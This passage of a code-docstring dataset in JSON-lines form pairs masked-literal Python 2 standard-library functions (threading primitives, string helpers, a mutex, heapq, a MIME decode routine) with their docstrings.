     (or fractions thereof).\n\n        When the underlying lock is an RLock, it is not released using its\n        release() method, since this may not actually unlock the lock when it\n        was acquired multiple times recursively. Instead, an internal interface\n        of the RLock class is used, which really unlocks it even when it has\n        been recursively acquired several times. Another internal interface is\n        then used to restore the recursion level when the lock is reacquired.", "id": "f16452:c1:m7"}
{"signature": "def notify(self, n=<NUM_LIT:1>):", "body": "if not self._is_owned():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>__waiters = self.__waiters<EOL>waiters = __waiters[:n]<EOL>if not waiters:<EOL><INDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT>return<EOL><DEDENT>self._note(\"<STR_LIT>\", self, n,<EOL>n!=<NUM_LIT:1> and \"<STR_LIT:s>\" or \"<STR_LIT>\")<EOL>for waiter in waiters:<EOL><INDENT>waiter.release()<EOL>try:<EOL><INDENT>__waiters.remove(waiter)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Wake up one or more threads waiting on this condition, if any.\n\n        If the calling thread has not acquired the lock when this method is\n        called, a RuntimeError is raised.\n\n        This method wakes up at most n of the threads waiting for the condition\n        variable; it is a no-op if no threads are waiting.", "id": "f16452:c1:m8"}
{"signature": "def notifyAll(self):", "body": "self.notify(len(self.__waiters))<EOL>", "docstring": "Wake up all threads waiting on this condition.\n\n        If the calling thread has not acquired the lock when this method\n        is called, a RuntimeError is raised.", "id": "f16452:c1:m9"}
{"signature": "def acquire(self, blocking=<NUM_LIT:1>):", "body": "rc = False<EOL>with self.__cond:<EOL><INDENT>while self.__value == <NUM_LIT:0>:<EOL><INDENT>if not blocking:<EOL><INDENT>break<EOL><DEDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\",<EOL>self, blocking, self.__value)<EOL><DEDENT>self.__cond.wait()<EOL><DEDENT>else:<EOL><INDENT>self.__value = self.__value - <NUM_LIT:1><EOL>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\",<EOL>self, self.__value)<EOL><DEDENT>rc = True<EOL><DEDENT><DEDENT>return rc<EOL>", "docstring": "Acquire a semaphore, decrementing the internal counter by one.\n\n        When invoked without arguments: if the internal counter is larger than\n        zero on entry, decrement it by one and return immediately. If it is zero\n        on entry, block, waiting until some other thread has called release() to\n        make it larger than zero. This is done with proper interlocking so that\n        if multiple acquire() calls are blocked, release() will wake exactly one\n        of them up. The implementation may pick one at random, so the order in\n        which blocked threads are awakened should not be relied on. There is no\n        return value in this case.\n\n        When invoked with blocking set to true, do the same thing as when called\n        without arguments, and return true.\n\n        When invoked with blocking set to false, do not block. If a call without\n        an argument would block, return false immediately; otherwise, do the\n        same thing as when called without arguments, and return true.", "id": "f16452:c2:m1"}
{"signature": "def release(self):", "body": "with self.__cond:<EOL><INDENT>self.__value = self.__value + <NUM_LIT:1><EOL>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\",<EOL>self, self.__value)<EOL><DEDENT>self.__cond.notify()<EOL><DEDENT>", "docstring": "Release a semaphore, incrementing the internal counter by one.\n\n        When the counter is zero on entry and another thread is waiting for it\n        to become larger than zero again, wake up that thread.", "id": "f16452:c2:m2"}
{"signature": "def release(self):", "body": "with self.__cond:<EOL><INDENT>if self.__value >= self._initial_value:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.__value += <NUM_LIT:1><EOL>self.__cond.notify()<EOL><DEDENT>", "docstring": "Release a semaphore, incrementing the internal counter by one.\n\n        When the counter is zero on entry and another thread is waiting for it\n        to become larger than zero again, wake up that thread.\n\n        If the number of releases exceeds the number of acquires,\n        raise a ValueError.", "id": "f16452:c3:m1"}
{"signature": "def isSet(self):", "body": "return self.__flag<EOL>", "docstring": "Return true if and only if the internal flag is true.", "id": "f16452:c4:m2"}
{"signature": "def set(self):", "body": "with self.__cond:<EOL><INDENT>self.__flag = True<EOL>self.__cond.notify_all()<EOL><DEDENT>", "docstring": "Set the internal flag to true.\n\n        All threads waiting for the flag to become true are awakened. Threads\n        that call wait() once the flag is true will not block at all.", "id": "f16452:c4:m3"}
{"signature": "def clear(self):", "body": "with self.__cond:<EOL><INDENT>self.__flag = False<EOL><DEDENT>", "docstring": "Reset the internal flag to false.\n\n        Subsequently, threads calling wait() will block until set() is called to\n        set the internal flag to true again.", "id": "f16452:c4:m4"}
{"signature": "def wait(self, timeout=None):", "body": "with self.__cond:<EOL><INDENT>if not self.__flag:<EOL><INDENT>self.__cond.wait(timeout)<EOL><DEDENT>return self.__flag<EOL><DEDENT>", "docstring": "Block until the internal flag is true.\n\n        If the internal flag is true on entry, return immediately. Otherwise,\n        block until another thread calls set() to set the flag to true, or until\n        the optional timeout occurs.\n\n        When the timeout argument is present and not None, it should be a\n        floating point number specifying a timeout for the operation in seconds\n        (or fractions thereof).\n\n        This method returns the internal flag on exit, so it will always return\n        True except if a timeout is given and the operation times out.", "id": "f16452:c4:m5"}
{"signature": "def __init__(self, group=None, target=None, name=None,<EOL>args=(), kwargs=None, verbose=None):", "body": "assert group is None, \"<STR_LIT>\"<EOL>_Verbose.__init__(self, verbose)<EOL>if kwargs is None:<EOL><INDENT>kwargs = {}<EOL><DEDENT>self.__target = target<EOL>self.__name = str(name or _newname())<EOL>self.__args = args<EOL>self.__kwargs = kwargs<EOL>self.__daemonic = self._set_daemon()<EOL>self.__ident = None<EOL>self.__started = Event()<EOL>self.__stopped = False<EOL>self.__block = Condition(Lock())<EOL>self.__initialized = True<EOL>self.__stderr = _sys.stderr<EOL>", "docstring": "This constructor should always be called with keyword arguments. Arguments are:\n\n        *group* should be None; reserved for future extension when a ThreadGroup\n        class is implemented.\n\n        *target* is the callable object to be invoked by the run()\n        method. Defaults to None, meaning nothing is called.\n\n        *name* is the thread name. By default, a unique name is constructed of\n        the form \"Thread-N\" where N is a small decimal number.\n\n        *args* is the argument tuple for the target invocation. Defaults to ().\n\n        *kwargs* is a dictionary of keyword arguments for the target\n        invocation. Defaults to {}.\n\n        If a subclass overrides the constructor, it must make sure to invoke\n        the base class constructor (Thread.__init__()) before doing anything\n        else to the thread.", "id": "f16452:c5:m0"}
{"signature": "def start(self):", "body": "if not self.__initialized:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if self.__started.is_set():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT>with _active_limbo_lock:<EOL><INDENT>_limbo[self] = self<EOL><DEDENT>try:<EOL><INDENT>_start_new_thread(self.__bootstrap, ())<EOL><DEDENT>except Exception:<EOL><INDENT>with _active_limbo_lock:<EOL><INDENT>del _limbo[self]<EOL><DEDENT>raise<EOL><DEDENT>self.__started.wait()<EOL>", "docstring": "Start the thread's activity.\n\n        It must be called at most once per thread object. It arranges for the\n        object's run() method to be invoked in a separate thread of control.\n\n        This method will raise a RuntimeError if called more than once on the\n        same thread object.", "id": "f16452:c5:m5"}
{"signature": "def run(self):", "body": "try:<EOL><INDENT>if self.__target:<EOL><INDENT>self.__target(*self.__args, **self.__kwargs)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>del self.__target, self.__args, self.__kwargs<EOL><DEDENT>", "docstring": "Method representing the thread's activity.\n\n        You may override this method in a subclass. The standard run() method\n        invokes the callable object passed to the object's constructor as the\n        target argument, if any, with sequential and keyword arguments taken\n        from the args and kwargs arguments, respectively.", "id": "f16452:c5:m6"}
{"signature": "def __delete(self):", "body": "<EOL>try:<EOL><INDENT>with _active_limbo_lock:<EOL><INDENT>del _active[_get_ident()]<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>if '<STR_LIT>' not in _sys.modules:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Remove current thread from the dict of currently running threads.", "id": "f16452:c5:m11"}
{"signature": "def join(self, timeout=None):", "body": "if not self.__initialized:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if not self.__started.is_set():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if self is current_thread():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if __debug__:<EOL><INDENT>if not self.__stopped:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT><DEDENT>self.__block.acquire()<EOL>try:<EOL><INDENT>if timeout is None:<EOL><INDENT>while not self.__stopped:<EOL><INDENT>self.__block.wait()<EOL><DEDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>deadline = _time() + timeout<EOL>while not self.__stopped:<EOL><INDENT>delay = deadline - _time()<EOL>if delay <= <NUM_LIT:0>:<EOL><INDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT>break<EOL><DEDENT>self.__block.wait(delay)<EOL><DEDENT>else:<EOL><INDENT>if __debug__:<EOL><INDENT>self._note(\"<STR_LIT>\", self)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self.__block.release()<EOL><DEDENT>", "docstring": "Wait until the thread terminates.\n\n        This blocks the calling thread until the thread whose join() method is\n        called terminates -- either normally or through an unhandled exception\n        or until the optional timeout occurs.\n\n        When the timeout argument is present and not None, it should be a\n        floating point number specifying a timeout for the operation in seconds\n        (or fractions thereof). As join() always returns None, you must call\n        isAlive() after join() to decide whether a timeout happened -- if the\n        thread is still alive, the join() call timed out.\n\n        When the timeout argument is not present or None, the operation will\n        block until the thread terminates.\n\n        A thread can be join()ed many times.\n\n        join() raises a RuntimeError if an attempt is made to join the current\n        thread as that would cause a deadlock. It is also an error to join() a\n        thread before it has been started and attempts to do so raises the same\n        exception.", "id": "f16452:c5:m12"}
{"signature": "def _name_getter(self):", "body": "assert self.__initialized, \"<STR_LIT>\"<EOL>return self.__name<EOL>", "docstring": "A string used for identification purposes only.\n\n        It has no semantics. Multiple threads may be given the same name. The\n        initial name is set by the constructor.", "id": "f16452:c5:m13"}
{"signature": "@property<EOL><INDENT>def ident(self):<DEDENT>", "body": "assert self.__initialized, \"<STR_LIT>\"<EOL>return self.__ident<EOL>", "docstring": "Thread identifier of this thread or None if it has not been started.\n\n        This is a nonzero integer. See the thread.get_ident() function. Thread\n        identifiers may be recycled when a thread exits and another thread is\n        created. The identifier is available even after the thread has exited.", "id": "f16452:c5:m15"}
{"signature": "def isAlive(self):", "body": "assert self.__initialized, \"<STR_LIT>\"<EOL>return self.__started.is_set() and not self.__stopped<EOL>", "docstring": "Return whether the thread is alive.\n\n        This method returns True just before the run() method starts until just\n        after the run() method terminates. The module function enumerate()\n        returns a list of all alive threads.", "id": "f16452:c5:m16"}
{"signature": "def _daemon_getter(self):", "body": "assert self.__initialized, \"<STR_LIT>\"<EOL>return self.__daemonic<EOL>", "docstring": "A boolean value indicating whether this thread is a daemon thread (True) or not (False).\n\n        This must be set before start() is called, otherwise RuntimeError is\n        raised. Its initial value is inherited from the creating thread; the\n        main thread is not a daemon thread and therefore all threads created in\n        the main thread default to daemon = False.\n\n        The entire Python program exits when no alive non-daemon threads are\n        left.", "id": "f16452:c5:m17"}
{"signature": "def cancel(self):", "body": "self.finished.set()<EOL>", "docstring": "Stop the timer if it hasn't finished yet", "id": "f16452:c6:m1"}
{"signature": "def capwords(s, sep=None):", "body": "return (sep or '<STR_LIT:U+0020>').join(x.capitalize() for x in s.split(sep))<EOL>", "docstring": "capwords(s [,sep]) -> string\n\n    Split the argument into words using split, capitalize each\n    word using capitalize, and join the capitalized words using\n    join.  If the optional second argument sep is absent or None,\n    runs of whitespace characters are replaced by a single space\n    and leading and trailing whitespace are removed, otherwise\n    sep is used to split and join the words.", "id": "f16453:m0"}
{"signature": "def maketrans(fromstr, tostr):", "body": "if len(fromstr) != len(tostr):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>global _idmapL<EOL>if not _idmapL:<EOL><INDENT>_idmapL = list(_idmap)<EOL><DEDENT>L = _idmapL[:]<EOL>fromstr = list(map(ord, fromstr))<EOL>for i in range(len(fromstr)):<EOL><INDENT>L[fromstr[i]] = tostr[i]<EOL><DEDENT>return '<STR_LIT>'.join(L)<EOL>", "docstring": "maketrans(frm, to) -> string\n\n    Return a translation table (a string of 256 bytes long)\n    suitable for use in string.translate.  The strings frm and to\n    must be of the same length.", "id": "f16453:m1"}
{"signature": "def lower(s):", "body": "return s.lower()<EOL>", "docstring": "lower(s) -> string\n\n    Return a copy of the string s converted to lowercase.", "id": "f16453:m2"}
{"signature": "def upper(s):", "body": "return s.upper()<EOL>", "docstring": "upper(s) -> string\n\n    Return a copy of the string s converted to uppercase.", "id": "f16453:m3"}
{"signature": "def swapcase(s):", "body": "return s.swapcase()<EOL>", "docstring": "swapcase(s) -> string\n\n    Return a copy of the string s with upper case characters\n    converted to lowercase and vice versa.", "id": "f16453:m4"}
{"signature": "def strip(s, chars=None):", "body": "return s.strip(chars)<EOL>", "docstring": "strip(s [,chars]) -> string\n\n    Return a copy of the string s with leading and trailing\n    whitespace removed.\n    If chars is given and not None, remove characters in chars instead.\n    If chars is unicode, S will be converted to unicode before stripping.", "id": "f16453:m5"}
{"signature": "def lstrip(s, chars=None):", "body": "return s.lstrip(chars)<EOL>", "docstring": "lstrip(s [,chars]) -> string\n\n    Return a copy of the string s with leading whitespace removed.\n    If chars is given and not None, remove characters in chars instead.", "id": "f16453:m6"}
{"signature": "def rstrip(s, chars=None):", "body": "return s.rstrip(chars)<EOL>", "docstring": "rstrip(s [,chars]) -> string\n\n    Return a copy of the string s with trailing whitespace removed.\n    If chars is given and not None, remove characters in chars instead.", "id": "f16453:m7"}
{"signature": "def split(s, sep=None, maxsplit=-<NUM_LIT:1>):", "body": "return s.split(sep, maxsplit)<EOL>", "docstring": "split(s [,sep [,maxsplit]]) -> list of strings\n\n    Return a list of the words in the string s, using sep as the\n    delimiter string.  If maxsplit is given, splits at no more than\n    maxsplit places (resulting in at most maxsplit+1 words).  If sep\n    is not specified or is None, any whitespace string is a separator.\n\n    (split and splitfields are synonymous)", "id": "f16453:m8"}
{"signature": "def rsplit(s, sep=None, maxsplit=-<NUM_LIT:1>):", "body": "return s.rsplit(sep, maxsplit)<EOL>", "docstring": "rsplit(s [,sep [,maxsplit]]) -> list of strings\n\n    Return a list of the words in the string s, using sep as the\n    delimiter string, starting at the end of the string and working\n    to the front.  If maxsplit is given, at most maxsplit splits are\n    done. If sep is not specified or is None, any whitespace string\n    is a separator.", "id": "f16453:m9"}
{"signature": "def join(words, sep = '<STR_LIT:U+0020>'):", "body": "return sep.join(words)<EOL>", "docstring": "join(list [,sep]) -> string\n\n    Return a string composed of the words in list, with\n    intervening occurrences of sep.  The default separator is a\n    single space.\n\n    (joinfields and join are synonymous)", "id": "f16453:m10"}
{"signature": "def index(s, *args):", "body": "return s.index(*args)<EOL>", "docstring": "index(s, sub [,start [,end]]) -> int\n\n    Like find but raises ValueError when the substring is not found.", "id": "f16453:m11"}
{"signature": "def rindex(s, *args):", "body": "return s.rindex(*args)<EOL>", "docstring": "rindex(s, sub [,start [,end]]) -> int\n\n    Like rfind but raises ValueError when the substring is not found.", "id": "f16453:m12"}
{"signature": "def count(s, *args):", "body": "return s.count(*args)<EOL>", "docstring": "count(s, sub[, start[,end]]) -> int\n\n    Return the number of occurrences of substring sub in string\n    s[start:end].  Optional arguments start and end are\n    interpreted as in slice notation.", "id": "f16453:m13"}
{"signature": "def find(s, *args):", "body": "return s.find(*args)<EOL>", "docstring": "find(s, sub [,start [,end]]) -> in\n\n    Return the lowest index in s where substring sub is found,\n    such that sub is contained within s[start,end].  Optional\n    arguments start and end are interpreted as in slice notation.\n\n    Return -1 on failure.", "id": "f16453:m14"}
{"signature": "def rfind(s, *args):", "body": "return s.rfind(*args)<EOL>", "docstring": "rfind(s, sub [,start [,end]]) -> int\n\n    Return the highest index in s where substring sub is found,\n    such that sub is contained within s[start,end].  Optional\n    arguments start and end are interpreted as in slice notation.\n\n    Return -1 on failure.", "id": "f16453:m15"}
{"signature": "def atof(s):", "body": "return _float(s)<EOL>", "docstring": "atof(s) -> float\n\n    Return the floating point number represented by the string s.", "id": "f16453:m16"}
{"signature": "def atoi(s , base=<NUM_LIT:10>):", "body": "return _int(s, base)<EOL>", "docstring": "atoi(s [,base]) -> int\n\n    Return the integer represented by the string s in the given\n    base, which defaults to 10.  The string s must consist of one\n    or more digits, possibly preceded by a sign.  If base is 0, it\n    is chosen from the leading characters of s, 0 for octal, 0x or\n    0X for hexadecimal.  If base is 16, a preceding 0x or 0X is\n    accepted.", "id": "f16453:m17"}
{"signature": "def atol(s, base=<NUM_LIT:10>):", "body": "return _long(s, base)<EOL>", "docstring": "atol(s [,base]) -> long\n\n    Return the long integer represented by the string s in the\n    given base, which defaults to 10.  The string s must consist\n    of one or more digits, possibly preceded by a sign.  If base\n    is 0, it is chosen from the leading characters of s, 0 for\n    octal, 0x or 0X for hexadecimal.  If base is 16, a preceding\n    0x or 0X is accepted.  A trailing L or l is not accepted,\n    unless base is 0.", "id": "f16453:m18"}
{"signature": "def ljust(s, width, *args):", "body": "return s.ljust(width, *args)<EOL>", "docstring": "ljust(s, width[, fillchar]) -> string\n\n    Return a left-justified version of s, in a field of the\n    specified width, padded with spaces as needed.  The string is\n    never truncated.  If specified the fillchar is used instead of spaces.", "id": "f16453:m19"}
{"signature": "def rjust(s, width, *args):", "body": "return s.rjust(width, *args)<EOL>", "docstring": "rjust(s, width[, fillchar]) -> string\n\n    Return a right-justified version of s, in a field of the\n    specified width, padded with spaces as needed.  The string is\n    never truncated.  If specified the fillchar is used instead of spaces.", "id": "f16453:m20"}
{"signature": "def center(s, width, *args):", "body": "return s.center(width, *args)<EOL>", "docstring": "center(s, width[, fillchar]) -> string\n\n    Return a center version of s, in a field of the specified\n    width. padded with spaces as needed.  The string is never\n    truncated.  If specified the fillchar is used instead of spaces.", "id": "f16453:m21"}
{"signature": "def zfill(x, width):", "body": "if not isinstance(x, str):<EOL><INDENT>x = repr(x)<EOL><DEDENT>return x.zfill(width)<EOL>", "docstring": "zfill(x, width) -> string\n\n    Pad a numeric string x with zeros on the left, to fill a field\n    of the specified width.  The string x is never truncated.", "id": "f16453:m22"}
{"signature": "def expandtabs(s, tabsize=<NUM_LIT:8>):", "body": "return s.expandtabs(tabsize)<EOL>", "docstring": "expandtabs(s [,tabsize]) -> string\n\n    Return a copy of the string s with all tab characters replaced\n    by the appropriate number of spaces, depending on the current\n    column, and the tabsize (default 8).", "id": "f16453:m23"}
{"signature": "def translate(s, table, deletions=\"<STR_LIT>\"):", "body": "if deletions or table is None:<EOL><INDENT>return s.translate(table, deletions)<EOL><DEDENT>else:<EOL><INDENT>return s.translate(table + s[:<NUM_LIT:0>])<EOL><DEDENT>", "docstring": "translate(s,table [,deletions]) -> string\n\n    Return a copy of the string s, where all characters occurring\n    in the optional argument deletions are removed, and the\n    remaining characters have been mapped through the given\n    translation table, which must be a string of length 256.  The\n    deletions argument is not allowed for Unicode strings.", "id": "f16453:m24"}
{"signature": "def capitalize(s):", "body": "return s.capitalize()<EOL>", "docstring": "capitalize(s) -> string\n\n    Return a copy of the string s with only its first character\n    capitalized.", "id": "f16453:m25"}
{"signature": "def replace(s, old, new, maxreplace=-<NUM_LIT:1>):", "body": "return s.replace(old, new, maxreplace)<EOL>", "docstring": "replace (str, old, new[, maxreplace]) -> string\n\n    Return a copy of string str with all occurrences of substring\n    old replaced by new. If the optional argument maxreplace is\n    given, only the first maxreplace occurrences are replaced.", "id": "f16453:m26"}
{"signature": "def __init__(self):", "body": "self.locked = False<EOL>self.queue = deque()<EOL>", "docstring": "Create a new mutex -- initially unlocked.", "id": "f16454:c0:m0"}
{"signature": "def lock(self, function, argument):", "body": "if self.testandset():<EOL><INDENT>function(argument)<EOL><DEDENT>else:<EOL><INDENT>self.queue.append((function, argument))<EOL><DEDENT>", "docstring": "Lock a mutex, call the function with supplied argument\n        when it is acquired.  If the mutex is already locked, place\n        function and argument in the queue.", "id": "f16454:c0:m3"}
{"signature": "def unlock(self):", "body": "if self.queue:<EOL><INDENT>function, argument = self.queue.popleft()<EOL>function(argument)<EOL><DEDENT>else:<EOL><INDENT>self.locked = False<EOL><DEDENT>", "docstring": "Unlock a mutex.  If the queue is not empty, call the next\n        function with its argument.", "id": "f16454:c0:m4"}
{"signature": "def heappush(heap, item):", "body": "heap.append(item)<EOL>_siftdown(heap, <NUM_LIT:0>, len(heap)-<NUM_LIT:1>)<EOL>", "docstring": "Push item onto heap, maintaining the heap invariant.", "id": "f16455:m1"}
{"signature": "def heappop(heap):", "body": "lastelt = heap.pop()    <EOL>if heap:<EOL><INDENT>returnitem = heap[<NUM_LIT:0>]<EOL>heap[<NUM_LIT:0>] = lastelt<EOL>_siftup(heap, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>returnitem = lastelt<EOL><DEDENT>return returnitem<EOL>", "docstring": "Pop the smallest item off the heap, maintaining the heap invariant.", "id": "f16455:m2"}
{"signature": "def heapreplace(heap, item):", "body": "returnitem = heap[<NUM_LIT:0>]    <EOL>heap[<NUM_LIT:0>] = item<EOL>_siftup(heap, <NUM_LIT:0>)<EOL>return returnitem<EOL>", "docstring": "Pop and return the current smallest value, and add the new item.\n\n    This is more efficient than heappop() followed by heappush(), and can be\n    more appropriate when using a fixed-size heap.  Note that the value\n    returned may be larger than item!  That constrains reasonable uses of\n    this routine unless written as part of a conditional replacement:\n\n        if item > heap[0]:\n            item = heapreplace(heap, item)", "id": "f16455:m3"}
{"signature": "def heappushpop(heap, item):", "body": "if heap and cmp_lt(heap[<NUM_LIT:0>], item):<EOL><INDENT>item, heap[<NUM_LIT:0>] = heap[<NUM_LIT:0>], item<EOL>_siftup(heap, <NUM_LIT:0>)<EOL><DEDENT>return item<EOL>", "docstring": "Fast version of a heappush followed by a heappop.", "id": "f16455:m4"}
{"signature": "def heapify(x):", "body": "n = len(x)<EOL>for i in reversed(xrange(n//<NUM_LIT:2>)):<EOL><INDENT>_siftup(x, i)<EOL><DEDENT>", "docstring": "Transform list into a heap, in-place, in O(len(x)) time.", "id": "f16455:m5"}
{"signature": "def _heappushpop_max(heap, item):", "body": "if heap and cmp_lt(item, heap[<NUM_LIT:0>]):<EOL><INDENT>item, heap[<NUM_LIT:0>] = heap[<NUM_LIT:0>], item<EOL>_siftup_max(heap, <NUM_LIT:0>)<EOL><DEDENT>return item<EOL>", "docstring": "Maxheap version of a heappush followed by a heappop.", "id": "f16455:m6"}
{"signature": "def _heapify_max(x):", "body": "n = len(x)<EOL>for i in reversed(range(n//<NUM_LIT:2>)):<EOL><INDENT>_siftup_max(x, i)<EOL><DEDENT>", "docstring": "Transform list into a maxheap, in-place, in O(len(x)) time.", "id": "f16455:m7"}
{"signature": "def nlargest(n, iterable):", "body": "if n < <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>it = iter(iterable)<EOL>result = list(islice(it, n))<EOL>if not result:<EOL><INDENT>return result<EOL><DEDENT>heapify(result)<EOL>_heappushpop = heappushpop<EOL>for elem in it:<EOL><INDENT>_heappushpop(result, elem)<EOL><DEDENT>result.sort(reverse=True)<EOL>return result<EOL>", "docstring": "Find the n largest elements in a dataset.\n\n    Equivalent to:  sorted(iterable, reverse=True)[:n]", "id": "f16455:m8"}
{"signature": "def nsmallest(n, iterable):", "body": "if n < <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>it = iter(iterable)<EOL>result = list(islice(it, n))<EOL>if not result:<EOL><INDENT>return result<EOL><DEDENT>_heapify_max(result)<EOL>_heappushpop = _heappushpop_max<EOL>for elem in it:<EOL><INDENT>_heappushpop(result, elem)<EOL><DEDENT>result.sort()<EOL>return result<EOL>", "docstring": "Find the n smallest elements in a dataset.\n\n    Equivalent to:  sorted(iterable)[:n]", "id": "f16455:m9"}
{"signature": "def _siftdown_max(heap, startpos, pos):", "body": "newitem = heap[pos]<EOL>while pos > startpos:<EOL><INDENT>parentpos = (pos - <NUM_LIT:1>) >> <NUM_LIT:1><EOL>parent = heap[parentpos]<EOL>if cmp_lt(parent, newitem):<EOL><INDENT>heap[pos] = parent<EOL>pos = parentpos<EOL>continue<EOL><DEDENT>break<EOL><DEDENT>heap[pos] = newitem<EOL>", "docstring": "Maxheap variant of _siftdown", "id": "f16455:m12"}
{"signature": "def _siftup_max(heap, pos):", "body": "endpos = len(heap)<EOL>startpos = pos<EOL>newitem = heap[pos]<EOL>childpos = <NUM_LIT:2>*pos + <NUM_LIT:1>    <EOL>while childpos < endpos:<EOL><INDENT>rightpos = childpos + <NUM_LIT:1><EOL>if rightpos < endpos and not cmp_lt(heap[rightpos], heap[childpos]):<EOL><INDENT>childpos = rightpos<EOL><DEDENT>heap[pos] = heap[childpos]<EOL>pos = childpos<EOL>childpos = <NUM_LIT:2>*pos + <NUM_LIT:1><EOL><DEDENT>heap[pos] = newitem<EOL>_siftdown_max(heap, startpos, pos)<EOL>", "docstring": "Maxheap variant of _siftup", "id": "f16455:m13"}
{"signature": "def merge(*iterables):", "body": "_heappop, _heapreplace, _StopIteration = heappop, heapreplace, StopIteration<EOL>_len = len<EOL>h = []<EOL>h_append = h.append<EOL>for itnum, it in enumerate(map(iter, iterables)):<EOL><INDENT>try:<EOL><INDENT>next = it.next<EOL>h_append([next(), itnum, next])<EOL><DEDENT>except _StopIteration:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>heapify(h)<EOL>while _len(h) > <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>while <NUM_LIT:1>:<EOL><INDENT>v, itnum, next = s = h[<NUM_LIT:0>]<EOL>yield v<EOL>s[<NUM_LIT:0>] = next()               <EOL>_heapreplace(h, s)          <EOL><DEDENT><DEDENT>except _StopIteration:<EOL><INDENT>_heappop(h)                     <EOL><DEDENT><DEDENT>if h:<EOL><INDENT>v, itnum, next = h[<NUM_LIT:0>]<EOL>yield v<EOL>for v in next.__self__:<EOL><INDENT>yield v<EOL><DEDENT><DEDENT>", "docstring": "Merge multiple sorted inputs into a single sorted output.\n\n    Similar to sorted(itertools.chain(*iterables)) but returns a generator,\n    does not pull the data into memory all at once, and assumes that each of\n    the input streams is already sorted (smallest to largest).\n\n    >>> list(merge([1,3,5,7], [0,2,4,8], [5,10,15,20], [], [25]))\n    [0, 1, 2, 3, 4, 5, 5, 7, 8, 10, 15, 20, 25]", "id": "f16455:m14"}
{"signature": "def nsmallest(n, iterable, key=None):", "body": "<EOL>if n == <NUM_LIT:1>:<EOL><INDENT>it = iter(iterable)<EOL>head = list(islice(it, <NUM_LIT:1>))<EOL>if not head:<EOL><INDENT>return []<EOL><DEDENT>if key is None:<EOL><INDENT>return [min(chain(head, it))]<EOL><DEDENT>return [min(chain(head, it), key=key)]<EOL><DEDENT>try:<EOL><INDENT>size = len(iterable)<EOL><DEDENT>except (TypeError, AttributeError):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if n >= size:<EOL><INDENT>return sorted(iterable, key=key)[:n]<EOL><DEDENT><DEDENT>if key is None:<EOL><INDENT>it = izip(iterable, count())                        <EOL>result = _nsmallest(n, it)<EOL>return map(itemgetter(<NUM_LIT:0>), result)                   <EOL><DEDENT>in1, in2 = tee(iterable)<EOL>it = izip(imap(key, in1), count(), in2)                 <EOL>result = _nsmallest(n, it)<EOL>return map(itemgetter(<NUM_LIT:2>), result)                       <EOL>", "docstring": "Find the n smallest elements in a dataset.\n\n    Equivalent to:  sorted(iterable, key=key)[:n]", "id": "f16455:m15"}
{"signature": "def nlargest(n, iterable, key=None):", "body": "<EOL>if n == <NUM_LIT:1>:<EOL><INDENT>it = iter(iterable)<EOL>head = list(islice(it, <NUM_LIT:1>))<EOL>if not head:<EOL><INDENT>return []<EOL><DEDENT>if key is None:<EOL><INDENT>return [max(chain(head, it))]<EOL><DEDENT>return [max(chain(head, it), key=key)]<EOL><DEDENT>try:<EOL><INDENT>size = len(iterable)<EOL><DEDENT>except (TypeError, AttributeError):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if n >= size:<EOL><INDENT>return sorted(iterable, key=key, reverse=True)[:n]<EOL><DEDENT><DEDENT>if key is None:<EOL><INDENT>it = izip(iterable, count(<NUM_LIT:0>,-<NUM_LIT:1>))                    <EOL>result = _nlargest(n, it)<EOL>return map(itemgetter(<NUM_LIT:0>), result)                   <EOL><DEDENT>in1, in2 = tee(iterable)<EOL>it = izip(imap(key, in1), count(<NUM_LIT:0>,-<NUM_LIT:1>), in2)             <EOL>result = _nlargest(n, it)<EOL>return map(itemgetter(<NUM_LIT:2>), result)                       <EOL>", "docstring": "Find the n largest elements in a dataset.\n\n    Equivalent to:  sorted(iterable, key=key, reverse=True)[:n]", "id": "f16455:m16"}
{"signature": "def decode(input, output, encoding):", "body": "if encoding == '<STR_LIT>':<EOL><INDENT>import base64<EOL>return base64.decode(input, output)<EOL><DEDENT>if encoding == '<STR_LIT>':<EOL><INDENT>import quopri<EOL>return quopri.decode(input, output)<EOL><DEDENT>if encoding in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>import uu<EOL>return uu.decode(input, output)<EOL><DEDENT>if encoding in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return output.write(input.read())<EOL><DEDENT>if encoding in decodetab:<EOL><INDENT>pipethrough(input, decodetab[encoding], output)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % encoding)<EOL><DEDENT>", "docstring": "Decode common content-transfer-encodings (base64, quopri, uuencode).", "id": "f16456:m1"}
